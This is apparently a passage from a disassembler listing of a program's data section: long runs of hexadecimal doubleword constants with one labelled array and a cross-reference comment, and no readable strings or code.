		dd 883F9C72h, 0E98B39FEh, 78B5224Fh, 40580209h,	0F378260h
		dd 0B2C12D73h, 61C55396h, 41880C8Bh, 0C6A5D2E0h, 5AD85781h
		dd 50CC085h, 53990733h
		dd 9EECA195h, 0CB6AFECEh, 67750EBh, 6B46021Eh, 0AEE9D642h
		dd 0C20048CEh, 73C59D58h, 36A76884h, 2FD3CEAFh,	2567F9EAh
		dd 0C08036E6h, 5B8145F2h, 9FF1FCD8h, 8401BFB9h,	64986872h
		dd 0D84039BBh, 29C25B58h, 0DF5D31E9h, 19F82DA2h, 2029FA5Fh
		dd 0BE010BD4h, 77924930h, 5D34EE83h, 766AFC9Eh,	0A5F60940h
		dd 0DCFC4768h, 15F20617h, 0B21E8906h, 690F0C1Fh, 9F176022h
		dd 0C40C76C7h, 91BF4E64h, 0D9550BD6h, 0FFB86FF0h, 51005C8Bh
		dd 4AFE680Ah, 0BD8ED1B5h, 0FF2A568Bh, 0F725BC45h, 420EA310h
		dd 2F76BA3Fh, 6C673C7h,	1F096852h, 0E7D9990h, 0EEAB2C80h
		dd 51ADB77Eh, 0D7FC7B2Ch, 173EFDF4h, 30AEB45Ah,	0DE787DF6h
		dd 7C1DF396h, 0E90CEF8Ch, 60491EF6h, 1C7CEEDBh,	89D9A6F2h
		dd 9C1A7D1Bh, 0AFDFC905h, 0E31763A2h, 0E882564Ah, 96F5A747h
		dd 0C7FE7094h, 0CC30A215h, 453FA61h, 555D00C2h,	5AC9158Ah
		dd 0FDE08ECEh, 95D85C81h, 0B34495ADh, 2AEB47A1h, 0EC8148E4h
		dd 0C0EE134Ch, 0F6B60C1Dh, 1609BB80h, 0D018D747h, 222E86A8h
		dd 664D42D4h, 0BBB51063h, 34D9680Ch, 314CF027h,	0D182A421h
		dd 0C4680230h, 9641F15Fh, 0BAD9843Ah, 7850F9F7h, 3E5C0430h
		dd 0A0DBE902h, 0A60E885h, 2CA33993h, 0A091000Eh, 0E7BC936Bh
		dd 1FC013E9h, 6855AF74h, 60D20029h, 0C3AC2D3Bh,	0A8398A3Dh
		dd 49C28BCFh, 5506158h,	0B57B3581h, 84BC2781h, 5A8CC1FCh
		dd 0E9605601h, 57278007h, 32B72665h, 31C10FECh,	1FC05595h
		dd 685B6106h, 8166808Bh, 0FD5E39E0h, 1ABD2916h,	44126ACh
		dd 2840CE31h, 37181EF2h, 0F02E67D0h, 7507B23h, 84A477EAh
		dd 4CBFB155h, 322860BEh, 67720C01h, 2B75858Bh, 19894C91h
		dd 0E95F6D9Dh, 188100E7h, 513ABFC2h, 76002293h,	0B2C86BF7h
		dd 4446035h, 0C1B826BCh, 7903AFF4h, 54D8531h, 58FE8145h
		dd 0F329E1A6h, 84EC53D6h, 8A83339Ch, 22E9E5h, 0C0E4BE0Fh
		dd 0A24E86B0h, 0D3D7B200h, 7ADFAE80h, 28780948h, 7B54E9DBh
		dd 0BA3BF780h, 7BB68F13h, 46AA00E1h, 0B7F82E59h, 0DD009426h
		dd 0CB6D4795h, 5B3DAEh,	982386EEh, 69468BDFh, 38A6F13Eh
		dd 25B080AFh, 7B8ED397h, 3E337AB7h, 0C2A95B89h,	5177E004h
		dd 3018910Ah, 3718CB81h, 33AB07Eh, 3CAD2BA9h, 56F8C2A1h
		dd 9348E40Eh, 6202442h,	0F7F43606h, 11D14229h, 60210CC4h
		dd 90F5E308h, 0A119FC5h, 0BC087421h, 0E991F4h, 84679035h
		dd 158730Ch, 0BC4DEDA3h, 0F428C15Fh, 600A679h, 0E83E19F0h
		dd 0F91DD73h, 712A53CBh, 601EB207h, 367E930Ah, 6C8B2F1Ch
		dd 14AC7580h, 2EE060h, 0DFDBBEF1h, 0F70F729h, 0F96CD700h
		dd 5EFAE25Ch, 0C7A10047h, 63D32D20h, 8A0045CDh,	0A70451DFh
		dd 9325C5h, 9EECD85Bh, 0C86FABF6h, 7D01794Bh, 0DCF3C42Eh
		dd 71E0CF8h, 74AF0E23h,	6ED2C01Ch, 0BF3EC9E1h, 52D50724h
		dd 94C3E9ADh, 0B9EBF058h, 9075009Fh, 0B2EC613Ch, 0F01C7DE8h
		dd 0A6C05C63h, 426B2510h, 1DE4BDh, 5099539Ch, 3037F9A3h
		dd 0FD40F500h, 9EB3F75Bh, 0CA64064Fh, 1194391Bh, 542C020Fh
		dd 377F000Dh, 1BEEE5Eh,	0AAA2416Dh, 20A88251h, 0AD00F108h
		dd 4D1710C1h, 2E36F2E1h, 0CC9D57h, 41ABB874h, 8B045813h
		dd 0C7D8A7E9h, 0EBF84280h, 99A500A8h, 0B687CA07h, 0FA09EF26h
		dd 9286AEh, 0AD40C70Ah,	9422000Ch, 0E79E7FCDh, 0E47FF12Ch
		dd 84C53A00h, 0A58FAE44h, 580AE08Eh, 0BC010848h, 6A65DBF3h
		dd 96F6CCCBh, 0F29958h,	0BAE07934h, 0F61F5B16h,	20291D61h
		dd 2B9FC01Ah, 2A4DBEBDh, 3599D1C0h, 1BF697Ah, 0DE4A18D6h
		dd 0F82E34F0h, 31E2F9Dh, 0E340BBE9h, 60701F91h,	103D0033h
		dd 311D5093h, 7F0072AFh, 5297CE2Fh, 0EA3A1EC7h,	0A50580C3h
		dd 75BA44h, 0DE2F1F2Dh,	3976AE47h, 0ED003D7Ch, 0FA514C99h
		dd 13EC44Fh, 2840B304h,	4746DEB9h, 0BFC770D4h, 0E04AD7Fh
		dd 8502F2FAh, 0EA57CC90h, 77EC0EA4h, 6F4083CBh,	0A9B0A32Bh
		dd 0E847C600h, 9B7B8F06h, 0C73F747Fh, 0C002ED11h, 9656D7C2h
		dd 9200C97Ch, 9E11CF86h, 91B1B2h, 38F6DF02h, 0A9A7FF55h
		dd 34DCB00h, 821348A8h,	12BF49Ah, 0E57A2599h, 0FF5A15B9h
		dd 0B2BE76D8h, 0BF14817Ch, 9F69598h, 8EC8E1E4h,	0CD5E8018h
		dd 1488622h, 642ABC90h,	0CC877AA6h, 0B30AFFC9h,	81E9551Eh
		dd 1B9BC003h, 6896D2h, 72A8B17Eh, 51E88FDDh, 6E459212h
		dd 62AE5400h, 0C4FF1Ch,	0BF7890D9h, 6DF6FAB1h, 22C64C1Ch
		dd 0FD58007Dh, 754B5926h, 0E51309B7h, 70034F7h,	4374168Ah
		dd 48E38D02h, 80B94AB1h, 3A03DDFBh, 9424266Eh, 1960080h
		dd 22B09DD0h, 80FEF33Ch, 4BD1174Ch, 7363A69h, 165A9767h
		dd 0F4DEB09Fh, 0FE162A38h, 0D09D987h, 17C00B2h,	0CE9551h
		dd 84302529h, 11FC7D5Ah, 5F428B00h, 2C264C53h, 76B30066h
		dd 0F109A448h, 0F3000B16h, 328F0EA9h, 785737A6h, 2D670314h
		dd 2BE21763h, 59A31E98h, 23C5AF16h, 35DE5103h, 7AF0EF6Ah
		dd 0CD40493h, 0DCF2E876h, 0ED120218h, 280E875Bh, 5D4979h
		dd 0BCDF7524h, 0F83A268Ah, 8D97076Ch, 157C50F5h, 1903E5B1h
		dd 0E40DEA33h, 0B5BFE03Ch, 0BA971E44h, 5782C027h, 32361A58h
		dd 2E98CF07h, 0F601DCE9h, 0E3E82946h, 0E4615084h, 0EF760039h
		dd 75E9D4EAh, 72011425h, 2C28834Ah, 98F446E8h, 1B33006Fh
		dd 0F808BEE5h, 6B00B9E1h, 4A413938h, 7BCD23h, 6F992ED4h
		dd 0EDFF977Ch, 0E85B8A00h, 45EE9E2Fh, 0EFC07A7h, 80315771h
		dd 24AC859Ch, 32D37700h, 127AD69Fh, 73C80928h, 4C0FC47Ch
		dd 71092E20h, 6AF88335h, 9907A6FEh, 292BCD72h, 0F8CA73C3h
		dd 2CDF9B5Ah, 33B9CAFh,	0A78644B9h, 45FA6988h, 1DB27D00h
		dd 0CBF50CCh, 123073F4h, 0DD46B9h, 0BCF9370Ch, 4B0F1A45h
		dd 409396E4h, 9907AF0Fh, 3AB3B82Fh, 0BF80DA7Fh,	2BCA06C9h
		dd 0C9A04B84h, 321F44F2h, 5581998Ch, 0C608D556h, 70C54487h
		dd 0B54D5031h, 7704D454h, 108DCBB9h, 86669880h,	6E6F0EDDh
		dd 401DECB2h, 0EBA3E825h, 0C9980572h, 0FBCE9E00h, 0D490C243h
		dd 9BE30028h, 7B248D2h,	83F4F994h, 0DA64FC02h, 4095BFCFh
		dd 8D1284h, 0AE0D1154h,	0C82C7277h, 80569B39h, 0E34BBEF5h
		dd 0ABDE13h, 7F228B1Ah,	342AEB5h, 638D5600h, 856F743Fh
		dd 4107BDEh, 388CBAADh,	0F95005Dh, 3F535EC5h, 5C80C727h
		dd 414E70D6h, 0F401145Ah, 0D7184334h, 0ABECC463h, 0AE5B00F1h
		dd 339C8C4Ch
dword_4F0044	dd 0C80FBCF4h, 802BDF32h, 5D770CC3h, 6DA0A0D0h,	0DC780Ah
					; DATA XREF: ___:0042CC8Co
		dd 0C5E8BA94h, 0CBB36F27h, 0B13D4507h, 4E0053CDh, 0EA52AAh
		dd 0ADEC73D7h, 7C0FC935h, 64849100h, 96B24E3Bh,	110E843h
		dd 6919BF51h, 20C65D58h, 49078A20h, 0A8E0560Fh,	8EC17920h
		dd 259D00C4h, 1A80D992h, 0A001B9F4h, 9F3F55F2h,	2260B16Ah
		dd 0FE520049h, 0D04FAA5Ch, 6C008D3Dh, 2763B3A8h, 86E88Ch
		dd 0E90F4A59h, 0EB7FD1A4h, 0CF9830FBh, 70CE8800h, 37E58B2Eh
		dd 0FF9F006Bh, 610EC159h, 0A87304CAh, 4564FE00h, 50E83963h
		dd 0FC9840h, 87725CC3h,	2DD8EB8Bh, 0A8966A00h, 4F7017EFh
		dd 0A733009Dh, 0BD6EED7Ah, 0D3381BACh, 34A22C97h, 4E00CD11h
		dd 0C49B467Bh, 0FB483BB6h, 0F0BF00ECh, 0E5520A69h, 485C0309h
		dd 84CC463Ch, 0A22C6E90h, 112E8D03h, 0B3FEBB8Ch, 0BFD8F058h
		dd 0FD2707F8h, 57C8AD94h, 447700B7h, 0B00CA2Fh,	86FAB41Dh
		dd 0F83582h, 96B71772h,	6BB291E8h, 3FF57A00h, 6E696799h
		dd 2E9A0001h, 94ED10DFh, 0EA16B655h, 8800C975h,	0AEE72C92h
		dd 0A9600A7h, 10EB8F2Ah, 0AC60261Ah, 7DC995D8h,	0EABB0475h
		dd 0C8DA561Ch, 0D30F91E0h, 20BFE50Eh, 741B8DEFh, 392F0064h
		dd 194C9714h, 6E01A335h, 93C1D37Bh, 8331CB5Eh, 0FC60C0D5h
		dd 86A91E01h, 12C382F9h, 60E8163Eh, 4A00219Ah, 8D3AE314h
		dd 50DE3B43h, 1FE0B84Dh, 407D8A20h, 0A06B9E3Dh,	9504E873h
		dd 31CC75D2h, 0C40179C5h, 5598C92Eh, 0BBEACCh, 0DF14E8B6h
		dd 0C23183AAh, 5FBE8F00h, 4ED6EFE2h, 713C1666h,	41F04062h
		dd 230FFBA7h, 2C9AC900h, 47FEF106h, 0C45F48FCh,	1A534900h
		dd 285BE465h, 59113E00h, 0B864F8BAh, 0AEB0EB7h,	0E6E096DBh
		dd 0B608295Dh, 27137D00h, 56BB22CBh, 0AD4D0087h, 44E03420h
		dd 74038454h, 0D7410D21h, 715CA88Dh, 0F35A0072h, 842F59Fh
		dd 0B60039BEh, 0C70D8903h, 12A4D78Ch, 16502B2h,	0E97DDFD8h
		dd 46489E98h, 8463BD0Bh, 0CC84366h, 0DCF948D4h,	253B3C71h
		dd 0C2AE3B7Ah, 0D50C1500h, 786791C3h, 1E396101h, 0C5FCEDB8h
		dd 42C40EDDh, 7AFD03E6h, 95672D19h, 28F47000h, 0A41FE051h
		dd 0ACA9064Ch, 8087C668h, 659BB31Fh, 200093ECh,	0EB8D5CD4h
		dd 80E96015h, 54783240h, 0EA892400h, 3A289E05h,	956D00A6h
		dd 0AFF55CBCh, 8D48C5D7h, 811A304Dh, 0DB4718h, 397DF9A1h
		dd 0A257F7B5h, 371DD5F4h, 0B804D81h, 88847FFFh,	33B0F2h
		dd 806FEF1Bh, 470D5FEAh, 0C63B8D0Eh, 1AE2C007h,	0F13F84Ch
		dd 5A06E6CFh, 0F89EC939h, 0B90BDE54h, 80D955FFh, 0B6387A49h
		dd 784F0A1h, 0E65F064Eh, 0BC582050h, 9900C89Fh,	7684803h
		dd 0EC925Ch, 633CDD24h,	7E223ECBh, 0D52BDC01h, 488B3628h
		dd 4584C0h, 0B9D06CC7h,	0AFE45F64h, 3E25520Fh, 8C2F2AFFh
		dd 0C9432C03h, 0EA59C084h, 886F0AF9h, 0A0C470h,	2726961Fh
		dd 440083E9h, 51E78CD3h, 0D45D19h, 5F4AE8A2h, 0ADCBEC84h
		dd 152E4500h, 0ACE5F54Dh, 1BB51E56h, 7433C740h,	51D2E0CDh
		dd 4900A0F6h, 426888Ch,	3923D31h, 0FF727538h, 2DA8DCE6h
		dd 0DD0099BFh, 0C2DA779Fh, 17C243Ch, 13F217A0h,	9F15AC01h
		dd 64261938h, 0D8913800h, 1FE2149Ah, 40E98BB7h,	53AF5572h
		dd 79002E3Ch, 7791B54Bh, 0F5973EAh, 68FFB7DDh, 0CE74DF00h
		dd 0C2072136h, 0F5AB4056h, 5F18BF41h, 1F9BD4h, 0D501420Fh
		dd 3729C0B3h, 0FA00EDE2h, 0B15210C1h, 5C84C47Ah, 3F00580Ah
		dd 874FC0C9h, 0DD0E9244h, 3D7650h, 724ED214h, 56C0033h
		dd 0BAEBEDF5h, 5300BD17h, 0A6AB1AFBh, 0CC0798h,	225141A4h
		dd 2DE45EDh, 30C7F500h,	80F1FD82h, 0BB292C44h, 18B34048h
		dd 4D0007E0h, 5637F3DFh, 0F2EAA0FEh, 5DA600CAh,	723D25DBh
		dd 5A04D080h, 0E602AD7Fh, 0F46CB0h, 0E8520941h,	0C64CEAA2h
		dd 4EFAB200h, 97D6B848h, 694A0005h, 783FC83Ah, 48C03E80h
		dd 4E0FFDA4h, 68C51DC6h, 75417017h, 0D2008DBFh,	0C2DB7F4Dh
		dd 4F23AFC9h, 3F500999h, 0D8256045h, 280724BFh,	5B2007Fh
		dd 738625CBh, 9933FD07h, 61039060h, 421AD05Ah, 0F5BB00B5h
		dd 0C050A059h, 5F009F2Bh, 708E38D0h, 0FA0EAFh, 16821364h
		dd 0AA1C242Ah, 0AE00909Eh, 0B0D62BD1h, 9F1200C7h, 0D027BE8Bh
		dd 0D730444Dh, 0D889A057h, 30C76FB5h, 77654900h, 95744BC3h
		dd 0B614DC74h, 3106CD8h, 2857BE45h, 16F61DFFh, 6486009Fh
		dd 0D38A236Dh, 52AE1A03h, 0D0748D79h, 9E3627h, 6398E64Ch
		dd 759DFA4Dh, 0E7D7E500h, 0A7769CFCh, 0D6640049h, 0FE4D5B3Bh
		dd 87372E3Ah, 6BB15814h, 608059C7h, 3F3B7A67h, 77002DECh
		dd 921ABDABh, 3B524397h, 0A90F0B53h, 7520A0AAh,	95072CBAh
		dd 0E6FA5A02h, 836BD821h, 0F0A52B60h, 7DC2A1h, 9826DAD6h
		dd 5A321CCFh, 1B017C7Ah, 0C88EF362h, 0E4401496h, 7AE857h
		dd 0DD0332A6h, 0EF995D88h, 5E33EA00h, 0DFA29A5Ah, 0F2B51F45h
		dd 26848020h, 96AF31FCh, 0A6B78800h, 0B947AD9Dh, 0B8A854B0h
		dd 0F2C70BBh, 0C88068FCh, 4A2B4A07h, 272D1250h,	812F801Ch
		dd 2A324A79h, 0E0AC21CBh, 0C098B60Ch, 664B4211h, 91514790h
		dd 2BE9E41Ch, 9117560h,	30F1FB9Dh, 0B1815314h, 0B03088FFh
		dd 0E1DB1146h, 0D49A3997h, 35045BC0h, 0AC305383h, 0D41CC320h
		dd 6ACE4600h, 19B31F55h, 78DF33C5h, 0B4A1A0A8h,	28D08045h
		dd 74486816h, 5C10C07Bh, 7DD91EB3h, 0D02D1D28h,	0E12F6001h
		dd 0B4795A6Fh, 0FA97AF0h, 0E68C144Fh, 5E87938Fh, 9834834Ch
		dd 4C331028h, 2E43CE1Eh, 32DD101Ch, 0C5BD6EC3h,	0AD05D0E5h
		dd 22D0CFBCh, 290BFC40h, 0C00784Ah, 4DCE6BF9h, 5BB6516Dh
		dd 0DE1C41F7h, 0E0EFE887h, 0E412A570h, 0F801D069h, 0D61944D5h
		dd 0EC7983C4h, 0CC930386h, 1A5030DAh, 0B0006FABh, 2AC7BE43h
		dd 0E8D021C1h, 19936094h, 7BBFD4D6h, 10CE013Eh,	0B5009C70h
		dd 1DAC1B08h, 1007724Fh, 12D09FC7h, 2A20980Eh, 0B399C090h
		dd 0BE42F98Ch, 80891838h, 2C2E8325h, 5E93441h, 32D41EA9h
		dd 0CC41FF1h, 10194504h, 0EFD2CC11h, 0F9C8DC00h, 0D499C2A0h
		dd 5AA02250h, 0EBBF7E00h, 7D4DE8E2h, 5254006Ch,	74E3604Ah
		dd 0FA0F7B55h, 714344h,	0E86F68A2h, 0E5D0F31Dh,	94223CA5h
		dd 607C7000h, 9A26ACF9h, 0EB07FF74h, 797BE091h,	484B9910h
		dd 7FF101E2h, 7DFF967Eh, 7C5C8747h, 0AE206F56h,	2BFA7542h
		dd 833854D8h, 9C42A684h, 7C5545C7h, 8C79F18h, 7886E79Eh
		dd 3C1B48B0h, 714A5400h, 7CA698E2h, 42009FEAh, 0AA5692ECh
		dd 78F39578h, 508F014Ch, 9A9B6860h, 5C6840D8h, 57F0F4BFh
		dd 98397268h, 4EB2B3Ch,	0DCB2FBC1h, 5C5F1080h, 0DB2639A4h
		dd 54F9E00h, 98CC0ABFh,	0B7660083h, 92E638BEh, 30C0D7E0h
		dd 195DA68h, 7818C0BDh,	0AB5D9CFh, 7EC708A0h, 4357EC00h
		dd 0C2B08275h, 5CED1848h, 8AE95904h, 0C9B56A05h, 0C33ECDAh
		dd 0C8946DCh, 30B4F618h, 431B58D8h, 1158B182h, 0EBD11A0h
		dd 0DB3E5C5Bh, 0C76AB140h, 4062E899h, 41598FC8h, 7678D5CEh
		dd 58C47828h, 7C87B1FAh, 21BFA343h, 21B8DFB0h, 4E03D482h
		dd 0C5EA0C2Bh, 0C21CBBC2h, 5DCC48DDh, 0D01630B4h, 9B119828h
		dd 14185F3Ah, 260C9444h, 612F9EBh, 8E85F440h, 339C6FCh
		dd 490551E6h, 5EA1D163h, 0E20C40AEh, 10495CD9h,	0BE4CFCh
		dd 0CC0CD733h, 3579E45h, 989DC55Bh, 191E3227h, 0D91309E8h
		dd 4B591445h, 225D580Fh
		dd 9DDE5F8Bh, 28B1164h,	4F637904h, 0BC8CA801h, 0B890D810h
		dd 440C6421h, 156B80D3h, 0F0CEB3E5h, 57187E0Ah,	424863F8h
		dd 30D8FEF1h, 90842A5Ch, 8C0E4548h, 0C13C5840h,	0C11029AEh
		dd 461F918Ch, 114AA0E4h, 665F1BF7h, 9821690Dh, 4F9F059Eh
		dd 6048093Bh, 0EC58BCA0h, 19C2757Ch, 999EDCFEh,	0E0899888h
		dd 6409E878h, 8A64AA8Ah, 4C94EAE9h, 6A284740h, 9412E00Dh
		dd 0C32CDAAh, 51802805h, 0C99A3CAh, 8C3E2C0Ah, 7356771Fh
		dd 0C485042Ah, 92883383h, 0E241E014h, 0A8421F4h, 419413E5h
		dd 0F55395D9h, 2B60203Ah, 2891987Fh, 8042DC91h,	1899198Dh
		dd 6250D30Ch, 9D13E78Ch, 0C3E5B4Bh, 7DB1EAC4h, 0DB06A841h
		dd 148AD60Ch, 99156880h, 3A1FC20Ch, 5738C82h, 12F99C47h
		dd 1B81A21Eh, 0A0EBB124h, 3E0BEAF9h, 2214C8DDh,	0D80153D9h
		dd 0C2867458h, 50AF6194h, 0EEA32A9Eh, 980A28C1h, 0D518AD5h
		dd 814DA842h, 0C511FFF0h, 254CA479h, 24305FD8h,	5485D958h
		dd 0A22C9A4Ch, 48F13593h, 0A5C137EAh, 1FB234Ch,	0E560F610h
		dd 20E46469h, 367C6278h, 83AFD688h, 0CC904FD2h,	6305C02h
		dd 6A5918C2h, 3DD91963h, 0C6C67052h, 737C28E8h,	9C48A0F7h
		dd 3C18DC45h, 29C01137h, 0E851E490h, 894C13Ch, 521E7A74h
		dd 323C46D8h, 0B4984AC8h, 6823203Ch, 40337D00h,	49753A86h
		dd 1B851E9Bh, 628C0FECh, 719F8181h, 0D884F056h,	5E294F63h
		dd 271DE1BEh, 992470h, 2D025345h, 0D0B35965h, 0B1481E4Ch
		dd 0B830C053h, 0E8A9C0F6h, 0F59212ACh, 2BAB8509h, 307464D8h
		dd 9EA8D546h, 0EA55A447h, 0BA40C8F8h, 5A227C90h, 319E1CC5h
		dd 20D37C49h, 60E5B584h, 4C0C16h, 4AC95D6Ch, 1D792859h
		dd 860C06EEh, 0B0CE139Eh, 0C8AC73h, 285E9258h, 40236A52h
		dd 604A541Fh, 2180ECA4h, 0A3791BC5h, 0F67965h, 4788E185h
		dd 623D07DDh, 8C286B28h, 0A0E69C20h, 4D3708C4h,	441A1C3Ah
		dd 5C601833h, 0DE606081h, 11413859h, 4F5F038Ch,	2757C4AEh
		dd 0F40A0824h, 11491D80h, 24A939BCh, 0AC98C1FBh, 7F823FE3h
		dd 0D3238D1Bh, 10683CC2h, 307ED79h, 0EA48D8FDh,	0EC8319Ch
		dd 5F86D975h, 47CE3881h, 31089E1Dh, 4D8520F1h, 1E440DD4h
		dd 4F92749Bh, 5FADFCEFh, 0D6A400E0h, 0B89AFEC1h, 494F2800h
		dd 45D371A1h, 0E5510073h, 834179F7h, 4A1F8C33h,	0E2C0991Ah
		dd 1E52CEE0h, 0B24901AFh, 46B3CF9h, 2C9C508Bh, 550706A1h
		dd 0B685C578h, 0CC12CAD5h, 9EDD9001h, 108C9763h, 0F2C9DFEAh
		dd 0C7C52B00h, 25B9D0C3h, 1CE12677h, 66A380F4h,	9A9E324Bh
		dd 19E02A00h, 93ECDFE3h, 2BF80051h, 0DDFE854Ch,	46003D90h
		dd 598BCC9Bh, 3AAD4414h, 5300DCEDh, 0CFD33CC4h,	91094FECh
		dd 0D677Fh, 11B45B64h, 5C009823h, 888720C2h, 5DB08173h
		dd 0FBF3D412h, 1CA2DC0Bh, 5F441054h, 0B7722484h, 255B0030h
		dd 0FC2060B6h, 382C35F8h, 804098FBh, 23D40h, 0C4BABFF1h
		dd 694E60D4h, 0FD1E8D00h, 970618E2h, 88C550CFh,	5BD90DA2h
		dd 2088D1F6h, 0E02AF1C0h, 0B008418h, 637A0585h,	33DD2466h
		dd 12088E6Ah, 4BA0214Fh, 0B0CC0196h, 825CD535h,	0B605305Dh
		dd 6EB9A8C0h, 0AE70E7h,	2786F5B1h, 1AFF9852h, 0D25341C7h
		dd 0E4E62640h, 0D76F071Dh, 40F96CEDh, 15AA61FFh, 2468525Ch
		dd 4FC0405Ah, 465F88D9h, 21CF7545h, 0C6D92087h,	71E85F84h
		dd 38EC4C22h, 0B2DF1907h, 9C04A979h, 11546092h,	275F23FFh
		dd 18003111h, 1CCB115Ch, 477A62B4h, 6B29C702h, 0AFCFC356h
		dd 82099AE0h, 0AE9025FCh, 0F6E28094h, 6B82DC85h, 0B404A95Fh
		dd 15549E6h, 0BA51D188h, 146E8BCh, 5F85D972h, 90B07ADh
		dd 80D94A82h, 194CFE5Fh, 909404F2h, 0D03F4227h,	0D3EAB4F8h
		dd 0C0D14180h, 0F41E44B8h, 4E481D01h, 845D812Ch, 29BCAD36h
		dd 32A3B853h, 0DFDB30DCh, 0A910443h, 84319757h,	88508EC4h
		dd 20BACD0Ch, 789835C4h, 6D2F6C02h, 0D1C4EA7Dh,	2D228B74h
		dd 3F1A6680h, 280A4649h, 0BC9111C6h, 1D83D961h,	805B3183h
		dd 0A3C04698h, 8C1708Eh, 0BA527788h, 5D20CC49h,	138B19FAh
		dd 61E88184h, 0B199F004h, 7A988300h, 402B28B3h,	2FAE380Fh
		dd 0FA41A602h, 0E4446509h, 205DD525h, 3B965F54h, 0E5C8C127h
		dd 0DD634818h, 0CC7B70D2h, 1D4C8F79h, 0C90590Eh, 0B1E557D9h
		dd 3DF8016Ah, 0F097219Bh, 4029E0h, 708A3867h, 19AEA01h
		dd 0DF4A0584h, 40D4A683h, 11D552E0h, 825BC600h,	0BFF3EF2Dh
		dd 70E61393h, 0EAC04B73h, 0FA889490h, 0AA2D5A16h, 7FB45800h
		dd 90627A47h, 9C4C4C60h, 53461F72h, 2152D7h, 6A4AC654h
		dd 0A102B1B3h, 89EEE112h, 0F9C0696Eh, 0B3C1BE0h, 11944BDBh
		dd 58195020h, 0EC067F73h, 94C13BBh, 0D4851D18h,	31484279h
		dd 68E8725Fh, 6205468Fh, 0E7E08803h, 98006CB3h,	0D6DABAADh
		dd 0E4A09222h, 0D928EA62h, 0C662A067h, 0C3D05D29h, 0E840A5D8h
		dd 2A689088h, 0DCA35814h, 917AE803h, 216F5E15h,	94E40848h
		dd 10503851h, 135B0C54h, 83B01BF0h, 3817D0F5h, 0B3BBE606h
		dd 181A0Ch, 71595548h, 24C66373h, 5707D505h, 0A0D0646Bh
		dd 307F90C7h, 0A8100A1Fh, 0A2686709h, 4B06B069h, 11CEC4h
		dd 4E9D8BC2h, 183CFC5Bh, 8845333h, 8F2100C9h, 0BFC49DF3h
		dd 7F13C545h, 2303EFDBh, 2055B57h, 0F485F060h, 2844ACF8h
		dd 901E8342h, 280CDB57h, 56F291E0h, 2CE17024h, 0E0720840h
		dd 0B9B003AEh, 38696D3Dh, 85F191DBh, 83E4209Dh,	11530E8Ch
		dd 38375F8Eh, 5B001734h, 0A0BCD711h, 32DC28h, 57F0DE70h
		dd 0F93E96CCh, 0C4FB102Ch, 9A33E04Eh, 1D7A24EFh, 0C5DB2F6Ah
		dd 82C8AF66h, 9CE69150h, 0B88F6300h, 67556F2Bh,	16800047h
		dd 4D11BB05h, 610E7523h, 20793B49h, 58725946h, 0F4AE09E7h
		dd 0A48964B7h, 83D9BC04h, 0D2B99094h, 0EAD45368h, 1802B3B3h
		dd 0E447BBADh, 9B4EC58h, 21879F3Fh, 6885E412h, 4F8860BFh
		dd 5F7D8A11h, 401B1E87h, 3AC0D011h, 54245B59h, 0B3832015h
		dd 97467A66h, 423CCCB0h, 0C0F759E2h, 70058B80h,	448C9663h
		dd 83012A13h, 17193705h, 30307925h, 29694062h, 910038E4h
		dd 54DAD993h, 0C97B094Bh, 0C10FF78h, 0E40470FCh, 10D028EDh
		dd 92278E2h, 0B90A0400h, 0B5271B72h, 0C5064C1Ch, 757A24h
		dd 0E06C5049h, 625EFCE9h, 78AD86h, 5945985Dh, 58AB861Ah
		dd 31FC1310h, 4EFB8509h, 7625DC66h, 0CFD038DBh,	59490448h
		dd 901C9128h, 0B34F6290h, 0A00461D6h, 0EC003210h, 99708C3Eh
		dd 14C41496h, 7020900Ah, 808C37BFh, 8065429Ch, 0CF00F847h
		dd 90AEDE9Eh, 0A80E6F22h, 6583E4h, 0C9CE7F93h, 10FF23C1h
		dd 0DCAEDA0Eh, 0BD50E0B4h, 18DF8D5Bh, 0D0B98693h, 4758D553h
		dd 41578E08h, 277A8F4Eh, 6F4C28F4h, 6B001852h, 0B2A0B309h
		dd 2A647C1Fh, 637F83F8h, 3F0F2DEh, 0E8681120h, 8E3B290h
		dd 0B4429100h, 0BDFC2C88h, 0E1B879h, 60A93DADh,	1747BC24h
		dd 0A80C6B02h, 0E0835D74h, 80CA86CCh, 0BF0F1C6Ah, 0C29D6603h
		dd 80C39294h, 0D23C230Ch, 8C5F1D61h, 5516602Eh,	0F84036FBh
		dd 0BAF98DB9h, 0F66200D3h, 0CC78B545h, 800D04Eh, 0E8EC5088h
		dd 392DE29Ch, 7A6B2AD5h, 53C79407h, 6927CC12h, 0D9A0A0FBh
		dd 78E59B5Bh, 0CAC125E9h, 0B60A6448h, 31261707h, 0D921161Bh
		dd 18E06EECh, 0FB890007h, 0E24F3A65h, 63070F09h, 9D303CE0h
		dd 9C407B47h, 7E660D3Bh
		dd 0D1C60A93h, 1DCEF8Ch, 309D09Bh, 763E84Fh, 36F835E4h
		dd 3CE6961Eh, 28F9333Ah, 0F100095h, 0B3BD188h, 6618EC92h
		dd 3E64F09h, 79351E93h,	1F41F3Fh, 7FED6331h, 0AE5E03Ch
		dd 0E40380F0h, 15490B7Bh, 4B846DBh, 4C9E0BEh, 0B492483Ch
		dd 0D3493D01h, 4A6F0A73h, 17B51818h, 2802011h, 347CD3Eh
		dd 4855361Ch, 3090E739h, 4618CC92h, 5D1FBA6Ah, 4503E6D4h
		dd 6DEA63h, 0E0CA1140h,	0C6609FEDh, 0BE5CF407h,	0A4A24E99h
		dd 19BFC034h, 19B7927h,	0BFF28068h, 0D0209AE7h,	15FE4AF3h
		dd 16E43Bh, 5E43D2BBh, 3A4ECAh,	69962BDDh, 9AAB1065h, 19C086F4h
		dd 32D8F211h, 0FD607C80h, 4040A2E1h, 0E734DCEFh, 1794D983h
		dd 87A7EE61h, 9BF84C63h, 40C0D662h, 2C7C9085h, 78B11D36h
		dd 0B718D150h, 1B1A6281h, 98E91080h, 34DA57Eh, 0EABF68C1h
		dd 2A01F7ACh, 0AD5E00DDh, 0D0802A77h, 1F5FB0BCh, 0DF3ADAA0h
		dd 74E002E9h, 9C8C034Eh, 3D3CEB50h, 0EDB31578h,	0DBF14D4h
		dd 1B2A08Ch, 8C2F4738h,	149880DBh, 88223EA5h, 40001624h
		dd 68AD58FDh, 0B5C38C0Ch, 0F3196Ch, 0AC3DE256h,	83D1F526h
		dd 65C78258h, 480CE889h, 93A408E7h, 2B2C9228h, 207CC964h
		dd 0DF47EE58h, 0A2F8C5h, 0A6CD860Ch, 4DAB1714h,	0F63B100h
		dd 3C0B359Ch, 0AF20F88h, 780B9A07h, 60F77831h, 0D0789C50h
